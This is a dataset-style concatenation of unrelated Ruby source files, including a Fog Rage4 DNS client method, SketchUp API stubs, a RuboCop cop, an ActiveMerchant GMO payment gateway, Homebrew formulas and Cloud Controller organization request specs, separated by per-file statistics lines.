assert_not_nil entries[2] =~ /#{REQUEST_FILE_PREFIX}\d+#{COMPLETE_FILE_SUFFIX}#{SENT_FILE_SUFFIX}\z/
#grab the expected number of responses from the sFTP server and save them to the given path
request.get_responses_from_server()
#process the responses from the server with a listener which applies the given block
request.process_responses({:transaction_listener => CnpOnline::DefaultCnpListener.new do |transaction| end})
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
assert_equal 4, entries.length # 3 -> 4
entries.sort!
assert_not_nil entries[2] =~ /#{REQUEST_FILE_PREFIX}\d+#{COMPLETE_FILE_SUFFIX}#{SENT_FILE_SUFFIX}\z/
File.delete(dir + CNP_SDK_TEST_FOLDER + '/' + entries[2])
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER + '/' + entries[3])
entries.sort!
assert_equal 3, entries.length
assert_not_nil entries[2] =~ /#{RESPONSE_FILE_PREFIX}\d+#{COMPLETE_FILE_SUFFIX}.asc#{RECEIVED_FILE_SUFFIX}.processed\z/
end
def get_config(field, options)
if options[field.to_s] == nil and options[field] == nil then
return @config_hash[field.to_s]
elsif options[field.to_s] != nil then
return options[field.to_s]
else
return options[field]
end
end
end
end | 35.459155 | 125 | 0.665157 |
33db82beef7f31e7a24ea1eac5b69ae34845ae53 | 2,304 | module Fog
module DNS
class Rage4
class Real
# Updates an existing record
# ==== Parameters
# * record_id <~Integer> The id of the record you wish to update
# * name <~String> Name of record, include domain name
# * content <~String> IP address or Domain name
# * type <~Integer> The type of record to create see list_record_types
# * priority <~Integer> - Record prioirity (nullable)
# * failover <~Boolean> Enable/disable failover default false
# * failovercontent <~String> Failover value, only valid for A/AAAA records
# * ttl <~Integer> - Time to live
# * geozone <~Long> Geo region id, see list_geo_regions
# * geolock <~Boolean> Lock geo coordinates, default false
# * geolat <~Double> Geo latitude, (nullable)
# * geolong <~Double> Geo longitude, (nullable)
# * udplimit <~Boolean> Limit number of records returned, (nullable, default false)
#
# ==== Returns
# * response<~Excon::Response>:
# * body<~Hash>:
# * 'status'<~Boolean>
# * 'id'<~Integer>
# * 'error'<~String>
# https://secure.rage4.com/rapi/createrecord/
def update_record(record_id, name, content, type, options = {})
path = "/rapi/updaterecord/#{record_id}"
path << "?name=#{name}&content=#{content}&type=#{type}"
path << "&priority=#{options[:priority]}" if options[:priority]
failover = options[:failover] || 'false'
path << "&failover=#{failover}"
path << "&failovercontent=#{options[:failovercontent]}" if options[:failovercontent]
ttl = options[:ttl] || 3600
path << "&ttl=#{ttl}"
path << "&geozone=#{options[:geozone]}" if options[:geozone]
path << "&geolock=#{options[:geolock]}" if options[:geolock]
path << "&geolat=#{options[:geolat]}" if options[:geolat]
path << "&geolong=#{options[:geolong]}" if options[:geolong]
path << "&udplimit=#{options[:udplimit]}" if options[:udplimit]
request(
:expects => 200,
:method => 'GET',
:path => path
)
end
end
end
end
end
| 34.38806 | 94 | 0.552083 |
2866081a6c05f9bbb08192f208b2fe31d03d611e | 2,183 | # Copyright:: Copyright 2022 Trimble Inc.
# License:: The MIT License (MIT)
# The DimensionRadial class represents radius and diameter dimensions on
# arcs and circles.
#
# @version SketchUp 2014
class Sketchup::DimensionRadial < Sketchup::Dimension
# Instance Methods
# The arc_curve method returns the ArcCurve object to which this dimension is
# attached.
#
# @example
# arc = dim.arc_curve
#
# @return The ArcCurve object to which the dimension is attached.
#
# @version SketchUp 2014
def arc_curve
end
# The arc_curve= method is used to set the ArcCurve object to which this
# dimension is attached.
#
# @example
# dim.arc_curve = arc
#
# @param arc_curve
# The ArcCurve object to which the dimension is to be
# attached.
#
# @return The ArcCurve object to which the dimension was attached.
#
# @version SketchUp 2014
def arc_curve=(arc_curve)
end
# The leader_break_point method returns the break point on the leader where the
# dimension text is attached.
#
# @example
# pt = dim.leader_break_point
# puts "Break point is #{pt}"
#
# @return the leader break point
#
# @version SketchUp 2014
def leader_break_point
end
# The leader_break_point= method is used to set the break point on the leader
# where the dimension text is attached.
#
# @example
# dim.leader_break_point = [10, 0, 0]
#
# @param point
# the point to be set
#
# @return the point that was set
#
# @version SketchUp 2014
def leader_break_point=(point)
end
# The leader_points method returns the 3 significant points along the dimension
# line in world coordinates.
#
# @example
# pts = dim.leader_points
# puts "Break point is #{pts[0]}"
# puts "Attach point is #{pts[1]}"
# puts "Opposite point is #{pts[2]}"
#
# @return Array of 3 Point3d objects. Point 0: leader break point,
# where the text extension attaches. Point 1: attach point,
# where leader touches the arc/circle. Point 2: opposite
# point, where the diameter leader touches the circle on
# the opposite side.
#
# @version SketchUp 2014
def leader_points
end
end
| 24.806818 | 81 | 0.684837 |
62179d29993db61c1832ed4e2d61d9ffa476a5e9 | 1,631 | # frozen_string_literal: true
module RuboCop
module Cop
module Style
# This cop checks for optional arguments to methods
# that do not come at the end of the argument list.
#
# @safety
# This cop is unsafe because changing a method signature will
# implicitly change behavior.
#
# @example
# # bad
# def foo(a = 1, b, c)
# end
#
# # good
# def baz(a, b, c = 1)
# end
#
# def foobar(a = 1, b = 2, c = 3)
# end
class OptionalArguments < Base
MSG = 'Optional arguments should appear at the end of the argument list.'
def on_def(node)
each_misplaced_optional_arg(node.arguments) { |argument| add_offense(argument) }
end
private
def each_misplaced_optional_arg(arguments)
optarg_positions, arg_positions = argument_positions(arguments)
return if optarg_positions.empty? || arg_positions.empty?
optarg_positions.each do |optarg_position|
# there can only be one group of optional arguments
break if optarg_position > arg_positions.max
yield arguments[optarg_position]
end
end
def argument_positions(arguments)
optarg_positions = []
arg_positions = []
arguments.each_with_index do |argument, index|
optarg_positions << index if argument.optarg_type?
arg_positions << index if argument.arg_type?
end
[optarg_positions, arg_positions]
end
end
end
end
end
| 27.183333 | 90 | 0.591662 |
e864bad88320edc77b2b01faf4fe9b13215a9947 | 644 | #!/usr/bin/env rspec
require 'spec_helper'
require File.dirname(__FILE__) + '/../../../../../plugins/mcollective/validator/ipv6address_validator.rb'
module MCollective
module Validator
describe "#validate" do
it "should raise an exception if the supplied value is not an ipv6 address" do
expect{
Ipv6addressValidator.validate("foobar")
}.to raise_error ValidatorError, "value should be an ipv6 address"
end
it "should not raise an exception if the supplied value is an ipv6 address" do
Ipv6addressValidator.validate("2001:db8:85a3:8d3:1319:8a2e:370:7348")
end
end
end
end
| 32.2 | 105 | 0.694099 |
ab0ac63af3ce55196b0b6f2f1415470313d661bb | 654 | class Validator
class << self
def validate_params_user(params)
params.all? { |key, value| !value.empty? && value.in_range?(3, 15) }
end
def validate_params_patent(params)
params.all? { |key, value| !value.empty? } &&
params[:title].in_range?(6, 25) && params[:background].in_range?(20, 255) &&
params[:claims].in_range?(20, 255) && params[:summary].in_range?(20, 255) &&
params[:description].in_range?(20, 255)
end
end
end
class String
def in_range?(min, max)
length >= min && length <= max
end
end
class ValidationError < RuntimeError;end
class UnauthorizedError < RuntimeError;end | 22.551724 | 82 | 0.643731 |
f8cca9854efda08ba1c15e033ceb2fc7831b42fc | 99 | class ToneSerializer < ActiveModel::Serializer
attributes :id, :name
has_many :adjectives
end
| 16.5 | 46 | 0.777778 |
1af030282482211c8068763c377dc63d916683d7 | 118 | desc "Restart app by touching tmp/restart.txt"
task restart: :environment do
FileUtils.touch('tmp/restart.txt')
end
| 23.6 | 46 | 0.771186 |
b90aee6d3fe9daf865bbc52035df45f95bed504f | 271 | class Jabref < Cask
version '2.10'
sha256 'c63a49e47a43bdb026dde7fb695210d9a3f8c0e71445af7d6736c5379b23baa2'
url 'https://downloads.sourceforge.net/project/jabref/jabref/2.10/JabRef-2.10-OSX.zip'
homepage 'http://jabref.sourceforge.net/'
app 'JabRef.app'
end
| 27.1 | 88 | 0.774908 |
f8728aef025af410ca7c352ea3089b9e6499641f | 132 | class UsdJpyM1CandleJob < CandleJob
@queue = :normal
def self.perform(params = {})
super(UsdJpyM1Candle, params)
end
end
| 16.5 | 35 | 0.704545 |
d5b74e450ae73992b193b1f10e995deaf0d5ce79 | 818 | # Generated by the protocol buffer compiler. DO NOT EDIT!
# source: google/logging/type/log_severity.proto
require 'google/protobuf'
require 'google/api/annotations_pb'
Google::Protobuf::DescriptorPool.generated_pool.build do
add_file("google/logging/type/log_severity.proto", :syntax => :proto3) do
add_enum "google.logging.type.LogSeverity" do
value :DEFAULT, 0
value :DEBUG, 100
value :INFO, 200
value :NOTICE, 300
value :WARNING, 400
value :ERROR, 500
value :CRITICAL, 600
value :ALERT, 700
value :EMERGENCY, 800
end
end
end
module Google
module Cloud
module Logging
module Type
LogSeverity = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.logging.type.LogSeverity").enummodule
end
end
end
end
| 25.5625 | 124 | 0.695599 |
334ad6179b446b8bc9c2dd7a86d7fc6b22a11e19 | 1,811 | #
# Be sure to run `pod lib lint SVSwiftHelpers.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see https://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'SVSwiftHelpers'
s.version = '1.1.9'
s.summary = 'SVSwiftHelpers has collection of multiple extensions'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
'SVSwiftHelpers has collection of multiple extensions and helpers. Just import and start using'
DESC
s.homepage = 'https://github.com/sudhakar-varma/SVSwiftHelpers'
# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'sudhakar' => '[email protected]' }
s.source = { :git => 'https://github.com/sudhakar-varma/SVSwiftHelpers.git', :tag => s.version.to_s }
s.social_media_url = 'https://twitter.com/sudhakarVarmaD'
s.ios.deployment_target = '11.0'
s.source_files = 'Sources/**/*.{swift, plist}'
s.resources = 'Sources/**/*.{png,jpeg,jpg,storyboard,xib,xcassets,json}'
s.swift_version = '5.0'
# s.resource_bundles = {
# 'SVSwiftHelpers' => ['SVSwiftHelpers/Assets/*.png']
# }
# s.public_header_files = 'Pod/Classes/**/*.h'
# s.frameworks = 'UIKit', 'MapKit'
# s.dependency 'AFNetworking', '~> 2.3'
end
| 39.369565 | 113 | 0.655991 |
010b8b3571ec283bba54046c6f877a5687d85754 | 4,744 | require File.dirname(__FILE__) + '/gmo/gmo_errors'
require File.dirname(__FILE__) + '/gmo/gmo_common'
module ActiveMerchant #:nodoc:
module Billing #:nodoc:
class GmoGateway < GmoCommon
include GmoErrors
self.supported_countries = ['JA']
self.supported_cardtypes = [:visa, :master, :jcb, :american_express, :diners_club]
self.homepage_url = 'http://www.gmo-pg.jp/'
self.display_name = 'GMO Credit Card'
def initialize(options = {})
requires!(options, :shop_id, :password)
super
end
# If you get here by google and are interested in using GMO
# in active_merchant then have a look at the following ref.
# This branch/code is very specific to our codebase. The ref
# below is the last commit where this gateway could be used
# without any external code. glhf. - DylanJ
#
# ref: b99abb5e38d8995888904e5592ce1dddd2b43b35
def purchase(money, credit_card, options = {})
requires!(options, :order_id)
requires!(options, :AccessID)
requires!(options, :AccessPass)
order_id = format_order_id( options[:order_id] )
post = {}
post[:Method] = 1
post[:JobCd] = 'CAPTURE'
post[:AccessID] = options[:AccessID]
post[:AccessPass] = options[:AccessPass]
add_credit_card( post, credit_card )
add_order( post, order_id )
response = commit 'pay', post
if successful_payment? response
return Response.new true, 'Success', response, { test: test?, authorization: order_id }
end
Response.new false, response[:errors], response, { test: test?, authorization: order_id }
end
def capture(*args)
Response.new true, 'Success', {}, { test: test? }
end
def void(order_id, options={})
if search_response = search(order_id)
post = {}
post[:JobCd] = 'VOID'
add_order( post, order_id )
add_credentials( post, search_response )
response = commit 'alter', post
return Response.new true, 'Success', response, { test: test? }
end
Response.new false, 'Order ID not found', {}, { test: test? }
end
def credit(money, authorization, options = {})
deprecated CREDIT_DEPRECATION_MESSAGE
refund(money, authorization, options)
end
def refund(money, order_id, options = {})
if search_response = search(order_id)
# only support full refunds right now.
if search_response[:Amount].first.to_i != amount(money).to_i
return Response.new false, 'No Partial Refunds', search_response, { test: test? }
end
post = {}
post[:JobCd] = 'RETURN'
add_credentials(post, search_response)
response = commit 'alter', post
# appropriate response -> success
if successful_prepare? response
return Response.new true, 'Success', response, { test: test? }
end
# test this some how.
return Response.new false, response[:errors], response, { test: test? }
end
Response.new false, 'Order ID not found', {}, { test: test? }
end
def prepare( money, order_id )
post = {}
post[:JobCd] = 'CAPTURE'
add_money( post, money )
add_order( post, order_id )
commit 'prepare', post
end
private
def action_uri( name )
case name
when 'prepare'
'/payment/EntryTran.idPass'
when 'pay'
'/payment/ExecTran.idPass'
when 'alter'
'/payment/AlterTran.idPass'
when 'change'
'/payment/ChangeTran.idPass'
when 'search'
'/payment/SearchTrade.idPass'
else
raise "GMO Action #{name} is unsupported"
end
end
def successful_search? response
successful_response?(response) &&
successful_prepare?(response) &&
successful_payment?(response) &&
response[:JobCd].present? &&
response[:Amount].present? &&
response[:Tax].present?
end
def successful_payment? response
successful_response?(response) &&
response[:Approve].present? &&
response[:TranID].present?
end
def add_credit_card( post, credit_card )
post[:CardNo] = credit_card.number
post[:Expire] = expiry(credit_card)
post[:SecurityCode] = credit_card.verification_value
end
def expiry credit_card
year = format(credit_card.year, :two_digits)
month = format(credit_card.month, :two_digits)
"#{year}#{month}"
end
end
end
end
| 29.465839 | 97 | 0.596332 |
01463fed038c76a38e7b25297c7f75ae697f762f | 682 | require File.expand_path('../../../spec_helper', __FILE__)
ruby_version_is "1.9" do
describe "ENV.assoc" do
after(:each) do
ENV.delete("foo")
end
it "returns an array of the key and value of the environment variable with the given key" do
ENV["foo"] = "bar"
ENV.assoc("foo").should == ["foo", "bar"]
end
it "returns nil if no environment variable with the given key exists" do
ENV.assoc("foo").should == nil
end
it "returns the key element coerced with #to_str" do
ENV["foo"] = "bar"
k = mock('key')
k.should_receive(:to_str).and_return("foo")
ENV.assoc(k).should == ["foo", "bar"]
end
end
end
| 26.230769 | 96 | 0.608504 |
0835d0188850b7cb7f01613aa018deb1be4cab97 | 1,470 | class ZshSyntaxHighlighting < Formula
desc "Fish shell like syntax highlighting for zsh"
homepage "https://github.com/zsh-users/zsh-syntax-highlighting"
url "https://github.com/zsh-users/zsh-syntax-highlighting.git",
:tag => "0.6.0",
:revision => "434af7b11dd33641231f1b48b8432e68eb472e46"
head "https://github.com/zsh-users/zsh-syntax-highlighting.git"
bottle do
cellar :any_skip_relocation
sha256 "97dc3e73da8e3a8cb054a780a28cda23be2bbd33547daa606d71a3c7f1d2821f" => :high_sierra
sha256 "34fff5bf9bcacd1aaf3aad77199fc61a5ca31239236adaef0bab92452b5b4ad3" => :sierra
sha256 "34fff5bf9bcacd1aaf3aad77199fc61a5ca31239236adaef0bab92452b5b4ad3" => :el_capitan
sha256 "34fff5bf9bcacd1aaf3aad77199fc61a5ca31239236adaef0bab92452b5b4ad3" => :yosemite
end
def install
system "make", "install", "PREFIX=#{prefix}"
end
def caveats
<<-EOS.undent
To activate the syntax highlighting, add the following at the end of your .zshrc:
source #{HOMEBREW_PREFIX}/share/zsh-syntax-highlighting/zsh-syntax-highlighting.zsh
If you receive "highlighters directory not found" error message,
you may need to add the following to your .zshenv:
export ZSH_HIGHLIGHT_HIGHLIGHTERS_DIR=#{HOMEBREW_PREFIX}/share/zsh-syntax-highlighting/highlighters
EOS
end
test do
assert_match "#{version}\n",
shell_output("zsh -c '. #{pkgshare}/zsh-syntax-highlighting.zsh && echo $ZSH_HIGHLIGHT_VERSION'")
end
end
| 39.72973 | 105 | 0.760544 |
61d42e4da1d02ea06be13d5d1289f5133592a52c | 903 | require "active_support/core_ext/hash"
require "tender_hash"
require "global_settings/version"
require "global_settings/yml_settings"
module GlobalSettings
@settings = {}
class << self
def load!(env, options={}, &block)
raise ArgumentError.new("Expected block with TenderHash mapping") unless block_given?
@mapping = block
@options = options
load_env_settings(env)
load_yml_settings
end
def reload!(env)
reset!
load_env_settings(env)
load_yml_settings
end
def reset!
@settings = {}
end
def [](key)
@settings[key]
end
private
def load_env_settings(env)
@settings.deep_merge!(
TenderHash.map(env, &@mapping)
)
end
def load_yml_settings
@settings.deep_merge!(YMLSettings.get(@options))
end
end
end
Settings = GlobalSettings unless defined?(Settings)
| 18.06 | 91 | 0.655592 |
1d27b3cbca0a37799a71216ab598c278e3477bc3 | 49,405 | require 'spec_helper'
require 'request_spec_shared_examples'
module VCAP::CloudController
RSpec.describe 'Organizations' do
let(:user) { User.make }
let(:user_header) { headers_for(user) }
let(:admin_header) { admin_headers_for(user) }
let!(:organization1) { Organization.make name: 'Apocalypse World' }
let!(:organization2) { Organization.make name: 'Dungeon World' }
let!(:organization3) { Organization.make name: 'The Sprawl' }
let!(:inaccessible_organization) { Organization.make name: 'D&D' }
before do
organization1.add_user(user)
organization2.add_user(user)
organization3.add_user(user)
Domain.dataset.destroy # this will clean up the seeded test domains
TestConfig.override(kubernetes: {})
end
describe 'POST /v3/organizations' do
it 'creates a new organization with the given name' do
request_body = {
name: 'org1',
metadata: {
labels: {
freaky: 'friday'
},
annotations: {
make: 'subaru',
model: 'xv crosstrek',
color: 'orange'
}
}
}.to_json
expect {
post '/v3/organizations', request_body, admin_header
}.to change {
Organization.count
}.by 1
created_org = Organization.last
expect(last_response.status).to eq(201)
expect(parsed_response).to be_a_response_like(
{
'guid' => created_org.guid,
'created_at' => iso8601,
'updated_at' => iso8601,
'name' => 'org1',
'links' => {
'self' => { 'href' => "#{link_prefix}/v3/organizations/#{created_org.guid}" },
'domains' => { 'href' => "http://api2.vcap.me/v3/organizations/#{created_org.guid}/domains" },
'default_domain' => { 'href' => "http://api2.vcap.me/v3/organizations/#{created_org.guid}/domains/default" },
'quota' => { 'href' => "http://api2.vcap.me/v3/organization_quotas/#{created_org.quota_definition.guid}" }
},
'relationships' => { 'quota' => { 'data' => { 'guid' => created_org.quota_definition.guid } } },
'metadata' => {
'labels' => { 'freaky' => 'friday' },
'annotations' => { 'make' => 'subaru', 'model' => 'xv crosstrek', 'color' => 'orange' }
},
'suspended' => false
}
)
end
it 'allows creating a suspended org' do
request_body = {
name: 'suspended-org',
suspended: true
}.to_json
post '/v3/organizations', request_body, admin_header
expect(last_response.status).to eq(201)
created_org = Organization.last
expect(parsed_response).to be_a_response_like(
{
'guid' => created_org.guid,
'created_at' => iso8601,
'updated_at' => iso8601,
'name' => 'suspended-org',
'links' => {
'self' => { 'href' => "#{link_prefix}/v3/organizations/#{created_org.guid}" },
'domains' => { 'href' => "http://api2.vcap.me/v3/organizations/#{created_org.guid}/domains" },
'default_domain' => { 'href' => "http://api2.vcap.me/v3/organizations/#{created_org.guid}/domains/default" },
'quota' => { 'href' => "http://api2.vcap.me/v3/organization_quotas/#{created_org.quota_definition.guid}" }
},
'metadata' => { 'labels' => {}, 'annotations' => {} },
'relationships' => { 'quota' => { 'data' => { 'guid' => created_org.quota_definition.guid } } },
'suspended' => true
}
)
end
end
describe 'GET /v3/organizations' do
describe 'query list parameters' do
let(:isolation_segment1) { IsolationSegmentModel.make(name: 'seg') }
let(:assigner) { IsolationSegmentAssign.new }
before do
assigner.assign(isolation_segment1, [organization1])
end
describe 'query list parameters' do
it_behaves_like 'request_spec_shared_examples.rb list query endpoint' do
let(:message) { VCAP::CloudController::OrgsListMessage }
let(:request) { '/v3/organizations' }
let(:excluded_params) {
[:isolation_segment_guid]
}
let(:params) do
{
guids: ['foo', 'bar'],
names: ['foo', 'bar'],
page: '2',
per_page: '10',
order_by: 'updated_at',
label_selector: 'foo,bar',
}
end
end
end
end
it 'returns a paginated list of orgs the user has access to' do
get '/v3/organizations?per_page=2', nil, user_header
expect(last_response.status).to eq(200)
parsed_response = MultiJson.load(last_response.body)
expect(parsed_response).to be_a_response_like(
{
'pagination' => {
'total_results' => 3,
'total_pages' => 2,
'first' => {
'href' => "#{link_prefix}/v3/organizations?page=1&per_page=2"
},
'last' => {
'href' => "#{link_prefix}/v3/organizations?page=2&per_page=2"
},
'next' => {
'href' => "#{link_prefix}/v3/organizations?page=2&per_page=2"
},
'previous' => nil
},
'resources' => [
{
'guid' => organization1.guid,
'name' => 'Apocalypse World',
'created_at' => iso8601,
'updated_at' => iso8601,
'relationships' => { 'quota' => { 'data' => { 'guid' => organization1.quota_definition.guid } } },
'links' => {
'self' => {
'href' => "#{link_prefix}/v3/organizations/#{organization1.guid}"
},
'domains' => { 'href' => "http://api2.vcap.me/v3/organizations/#{organization1.guid}/domains" },
'default_domain' => { 'href' => "http://api2.vcap.me/v3/organizations/#{organization1.guid}/domains/default" },
'quota' => { 'href' => "http://api2.vcap.me/v3/organization_quotas/#{organization1.quota_definition.guid}" }
},
'metadata' => {
'labels' => {},
'annotations' => {}
},
'suspended' => false
},
{
'guid' => organization2.guid,
'name' => 'Dungeon World',
'created_at' => iso8601,
'updated_at' => iso8601,
'relationships' => { 'quota' => { 'data' => { 'guid' => organization2.quota_definition.guid } } },
'links' => {
'self' => {
'href' => "#{link_prefix}/v3/organizations/#{organization2.guid}"
},
'domains' => { 'href' => "http://api2.vcap.me/v3/organizations/#{organization2.guid}/domains" },
'default_domain' => { 'href' => "http://api2.vcap.me/v3/organizations/#{organization2.guid}/domains/default" },
'quota' => { 'href' => "http://api2.vcap.me/v3/organization_quotas/#{organization2.quota_definition.guid}" }
},
'metadata' => {
'labels' => {},
'annotations' => {}
},
'suspended' => false
}
]
}
)
end
context 'label_selector' do
let!(:orgA) { Organization.make(name: 'A') }
let!(:orgAFruit) { OrganizationLabelModel.make(key_name: 'fruit', value: 'strawberry', organization: orgA) }
let!(:orgAAnimal) { OrganizationLabelModel.make(key_name: 'animal', value: 'horse', organization: orgA) }
let!(:orgB) { Organization.make(name: 'B') }
let!(:orgBEnv) { OrganizationLabelModel.make(key_name: 'env', value: 'prod', organization: orgB) }
let!(:orgBAnimal) { OrganizationLabelModel.make(key_name: 'animal', value: 'dog', organization: orgB) }
let!(:orgC) { Organization.make(name: 'C') }
let!(:orgCEnv) { OrganizationLabelModel.make(key_name: 'env', value: 'prod', organization: orgC) }
let!(:orgCAnimal) { OrganizationLabelModel.make(key_name: 'animal', value: 'horse', organization: orgC) }
let!(:orgD) { Organization.make(name: 'D') }
let!(:orgDEnv) { OrganizationLabelModel.make(key_name: 'env', value: 'prod', organization: orgD) }
let!(:orgE) { Organization.make(name: 'E') }
let!(:orgEEnv) { OrganizationLabelModel.make(key_name: 'env', value: 'staging', organization: orgE) }
let!(:orgEAnimal) { OrganizationLabelModel.make(key_name: 'animal', value: 'dog', organization: orgE) }
it 'returns the matching orgs' do
get '/v3/organizations?label_selector=!fruit,env=prod,animal in (dog,horse)', nil, admin_header
expect(last_response.status).to eq(200), last_response.body
parsed_response = MultiJson.load(last_response.body)
expect(parsed_response['resources'].map { |r| r['guid'] }).to contain_exactly(orgB.guid, orgC.guid)
end
end
end
describe 'GET /v3/isolation_segments/:guid/organizations' do
let(:isolation_segment1) { IsolationSegmentModel.make(name: 'awesome_seg') }
let(:assigner) { IsolationSegmentAssign.new }
before do
assigner.assign(isolation_segment1, [organization2, organization3])
end
it 'returns a paginated list of orgs entitled to the isolation segment' do
get "/v3/isolation_segments/#{isolation_segment1.guid}/organizations?per_page=2", nil, user_header
expect(last_response.status).to eq(200)
parsed_response = MultiJson.load(last_response.body)
expect(parsed_response).to be_a_response_like(
{
'pagination' => {
'total_results' => 2,
'total_pages' => 1,
'first' => {
'href' => "#{link_prefix}/v3/isolation_segments/#{isolation_segment1.guid}/organizations?page=1&per_page=2"
},
'last' => {
'href' => "#{link_prefix}/v3/isolation_segments/#{isolation_segment1.guid}/organizations?page=1&per_page=2"
},
'next' => nil,
'previous' => nil
},
'resources' => [
{
'guid' => organization2.guid,
'name' => 'Dungeon World',
'created_at' => iso8601,
'updated_at' => iso8601,
'relationships' => { 'quota' => { 'data' => { 'guid' => organization2.quota_definition.guid } } },
'links' => {
'self' => {
'href' => "#{link_prefix}/v3/organizations/#{organization2.guid}"
},
'domains' => { 'href' => "http://api2.vcap.me/v3/organizations/#{organization2.guid}/domains" },
'default_domain' => { 'href' => "http://api2.vcap.me/v3/organizations/#{organization2.guid}/domains/default" },
'quota' => { 'href' => "http://api2.vcap.me/v3/organization_quotas/#{organization2.quota_definition.guid}" }
},
'metadata' => {
'labels' => {},
'annotations' => {}
},
'suspended' => false
},
{
'guid' => organization3.guid,
'name' => 'The Sprawl',
'created_at' => iso8601,
'updated_at' => iso8601,
'relationships' => { 'quota' => { 'data' => { 'guid' => organization3.quota_definition.guid } } },
'links' => {
'self' => {
'href' => "#{link_prefix}/v3/organizations/#{organization3.guid}"
},
'domains' => { 'href' => "http://api2.vcap.me/v3/organizations/#{organization3.guid}/domains" },
'default_domain' => { 'href' => "http://api2.vcap.me/v3/organizations/#{organization3.guid}/domains/default" },
'quota' => { 'href' => "http://api2.vcap.me/v3/organization_quotas/#{organization3.quota_definition.guid}" }
},
'metadata' => {
'labels' => {},
'annotations' => {}
},
'suspended' => false
}
]
}
)
end
end
describe 'GET /v3/organizations/:guid/relationships/default_isolation_segment' do
let(:isolation_segment) { IsolationSegmentModel.make(name: 'default_seg') }
let(:assigner) { IsolationSegmentAssign.new }
before do
set_current_user(user, { admin: true })
allow_user_read_access_for(user, orgs: [organization1])
assigner.assign(isolation_segment, [organization1])
organization1.update(default_isolation_segment_guid: isolation_segment.guid)
end
it 'shows the default isolation segment for the organization' do
get "/v3/organizations/#{organization1.guid}/relationships/default_isolation_segment", nil, admin_headers_for(user).merge('CONTENT_TYPE' => 'application/json')
expected_response = {
'data' => {
'guid' => isolation_segment.guid
},
'links' => {
'self' => { 'href' => "#{link_prefix}/v3/organizations/#{organization1.guid}/relationships/default_isolation_segment" },
'related' => { 'href' => "#{link_prefix}/v3/isolation_segments/#{isolation_segment.guid}" },
}
}
parsed_response = MultiJson.load(last_response.body)
expect(last_response.status).to eq(200)
expect(parsed_response).to be_a_response_like(expected_response)
end
end
describe 'GET /v3/organizations/:guid/domains' do
let(:space) { Space.make }
let(:org) { space.organization }
describe 'when the user is not logged in' do
it 'returns 401 for Unauthenticated requests' do
get "/v3/organizations/#{organization1.guid}/domains"
expect(last_response.status).to eq(401)
end
end
describe 'when the user is logged in' do
let!(:shared_domain) { SharedDomain.make(guid: 'shared-guid') }
let!(:owned_private_domain) { PrivateDomain.make(owning_organization_guid: org.guid, guid: 'owned-private') }
let!(:shared_private_domain) { PrivateDomain.make(owning_organization_guid: organization1.guid, guid: 'shared-private') }
let(:shared_domain_json) do
{
guid: shared_domain.guid,
created_at: iso8601,
updated_at: iso8601,
name: shared_domain.name,
internal: false,
router_group: nil,
supported_protocols: ['http'],
metadata: {
labels: {},
annotations: {}
},
relationships: {
organization: {
data: nil
},
shared_organizations: {
data: []
}
},
links: {
self: { href: "#{link_prefix}/v3/domains/#{shared_domain.guid}" },
route_reservations: { href: %r(#{Regexp.escape(link_prefix)}\/v3/domains/#{shared_domain.guid}/route_reservations) },
}
}
end
let(:owned_private_domain_json) do
{
guid: owned_private_domain.guid,
created_at: iso8601,
updated_at: iso8601,
name: owned_private_domain.name,
internal: false,
router_group: nil,
supported_protocols: ['http'],
metadata: {
labels: {},
annotations: {}
},
relationships: {
organization: {
data: { guid: org.guid }
},
shared_organizations: {
data: []
}
},
links: {
self: { href: "#{link_prefix}/v3/domains/#{owned_private_domain.guid}" },
organization: { href: %r(#{Regexp.escape(link_prefix)}\/v3\/organizations\/#{org.guid}) },
route_reservations: { href: %r(#{Regexp.escape(link_prefix)}\/v3/domains/#{owned_private_domain.guid}/route_reservations) },
shared_organizations: { href: %r(#{Regexp.escape(link_prefix)}\/v3\/domains\/#{owned_private_domain.guid}\/relationships\/shared_organizations) }
}
}
end
let(:shared_private_domain_json) do
{
guid: shared_private_domain.guid,
created_at: iso8601,
updated_at: iso8601,
name: shared_private_domain.name,
internal: false,
router_group: nil,
supported_protocols: ['http'],
metadata: {
labels: {},
annotations: {}
},
relationships: {
organization: {
data: { guid: organization1.guid }
},
shared_organizations: {
data: [{ guid: org.guid }]
}
},
links: {
self: { href: "#{link_prefix}/v3/domains/#{shared_private_domain.guid}" },
organization: { href: %r(#{Regexp.escape(link_prefix)}\/v3\/organizations\/#{organization1.guid}) },
route_reservations: { href: %r(#{Regexp.escape(link_prefix)}\/v3/domains/#{shared_private_domain.guid}/route_reservations) },
shared_organizations: { href: %r(#{Regexp.escape(link_prefix)}\/v3\/domains\/#{shared_private_domain.guid}\/relationships\/shared_organizations) }
}
}
end
before do
org.add_private_domain(shared_private_domain)
end
describe "when the org doesn't exist" do
it 'returns 404 for Unauthenticated requests' do
get '/v3/organizations/esdgth/domains', nil, user_header
expect(last_response.status).to eq(404)
end
end
context 'without filters' do
let(:api_call) { lambda { |user_headers| get "/v3/organizations/#{org.guid}/domains", nil, user_headers } }
let(:expected_codes_and_responses) do
h = Hash.new(
code: 200,
response_objects: [
shared_domain_json,
owned_private_domain_json,
shared_private_domain_json,
]
)
h['org_billing_manager'] = {
code: 200,
response_objects: [
shared_domain_json
]
}
h['no_role'] = {
code: 404,
response_objects: []
}
h.freeze
end
it_behaves_like 'permissions for list endpoint', ALL_PERMISSIONS
end
describe 'when filtering by name' do
let(:api_call) { lambda { |user_headers| get "/v3/organizations/#{org.guid}/domains?names=#{shared_domain.name}", nil, user_headers } }
let(:expected_codes_and_responses) do
h = Hash.new(
code: 200,
response_objects: [
shared_domain_json,
]
)
h['no_role'] = {
code: 404,
}
h.freeze
end
it_behaves_like 'permissions for list endpoint', ALL_PERMISSIONS
end
describe 'when filtering by guid' do
let(:api_call) { lambda { |user_headers| get "/v3/organizations/#{org.guid}/domains?guids=#{shared_domain.guid}", nil, user_headers } }
